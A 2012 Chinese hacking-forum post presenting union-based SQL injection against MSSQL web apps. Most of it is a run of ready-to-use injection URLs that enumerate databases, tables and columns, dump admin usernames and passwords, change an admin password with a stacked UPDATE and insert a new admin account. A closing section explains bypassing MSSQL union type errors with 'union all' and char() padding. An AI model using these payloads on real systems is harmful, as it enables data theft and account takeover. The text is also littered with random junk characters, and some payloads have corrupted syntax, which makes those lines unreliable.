找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1939|回复: 0
打印 上一主题 下一主题

MSSQL用union查询爆数据

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:26:06 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
爆库:# D3 _6 L/ D* f" g4 z0 s, {) m2 g3 T
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--5 [) ?) a0 \# b! Z, u3 F! ?
SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.
: x9 R3 t, ]+ U爆下一个库:5 G0 ]' V% ]( \
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--
5 o# r% f6 y* v- t! l. B8 Q* v# |- Z  X3 ?& O0 S0 E
爆表:  z) A% Y0 P* T( H' v  M2 |' _, V
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--0 b+ K$ j7 H" Y& w: T! h3 O2 a  b

* D/ l9 d( Y! |+ Z& Q! S' h7 x0 MSELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.) H& u4 E6 T8 r1 m) N3 c

( n# N+ H4 ^6 R% h6 k爆下一个表
# b& R; h2 q6 C: c% T8 d$ ihttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
1 R+ j0 H" e8 c$ f
+ E" v8 J& R7 Ohttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--
- Q# l: v. @5 ]5 k
6 f6 R8 `/ y9 ^5 c: o7 `- d
7 W6 y9 z9 N! N+ Y) [. U
7 v3 [% z( i2 z' H# W爆字段:
& k; c) [$ Y# {3 ~http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--* G0 p( L: }6 L

) m' {" I( H% B爆下一个字段
% O' m% `* E: I: H9 I; E: n; m2 mhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
3 }6 f$ Y' b1 i$ R- ]+ [+ m( n* h3 \2 f  |
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--0 a/ o6 _# U# C

: C, W* S' }$ m/ v4 e- R) s0 ~
4 e0 a2 l7 h8 L; V5 A  i爆字段里的内容% I# c5 i3 I" m) `: _: X& ?
http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--0 O" D+ A. ^7 q; C8 U" Z+ g1 F

& X* m$ y, \& ^9 ~http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--7 Z" a5 A+ w1 ]- H6 \! U1 J) S

1 H9 h/ A* E0 N$ chttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
) V6 i7 r9 j3 e2 S& J- M( A5 `
, b2 J+ [8 o, W2 R) k# t% Lhttp://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--
1 }" q. B, o5 W3 D9 U: ^% p! w; j: _9 L  d# o
更新字段里的内容3 Q% X+ M  _" |  N% `5 k
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--1 G! p* v# E9 |1 I% M4 F/ q
. J1 O8 a1 I/ E4 S( F6 D
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--* a+ _$ r9 w1 k* I6 x8 E
: }% f. s/ W" o& n, ^, W: v- X
) P; i5 [- \4 ]/ m6 L

- m2 \' M5 k8 h8 `: x, ^# S2 I        在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。
; T" q3 [$ t/ L' B" K    第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。
9 T4 O+ B. W+ L    第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。) }: m' i* G" }8 l3 d. v+ A
    最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。
: k& X3 G8 `0 j# Z
+ n' B0 |9 k1 S# x9 V突了了大部份限制的语句
2 r* M7 ]1 ^5 ^& Gand 1=2 union all select char(49),char(50),null,null;--
7 J# s3 N) O, j# @$ [% x6 c0 i& N% E  p+ A! [( p
; ^) @* }0 H$ y- s( c
null也可以正常执行,不过没有回显,不好判断回显的列数。/ Q- V) y- Q7 E! w4 Z
一般union遇到问题都是有text或者ntext字段,image的很少遇到3 e1 ^* K$ A' N! z; w1 x5 j2 l
/ R) y9 @) B. t& x2 F# R; m( O+ |0 z
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟
6 ]" ?4 O& e/ Z5 D8 ?9 o
$ Q  D* r2 x7 Y; R8 }; D
% |: z9 q& H8 s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表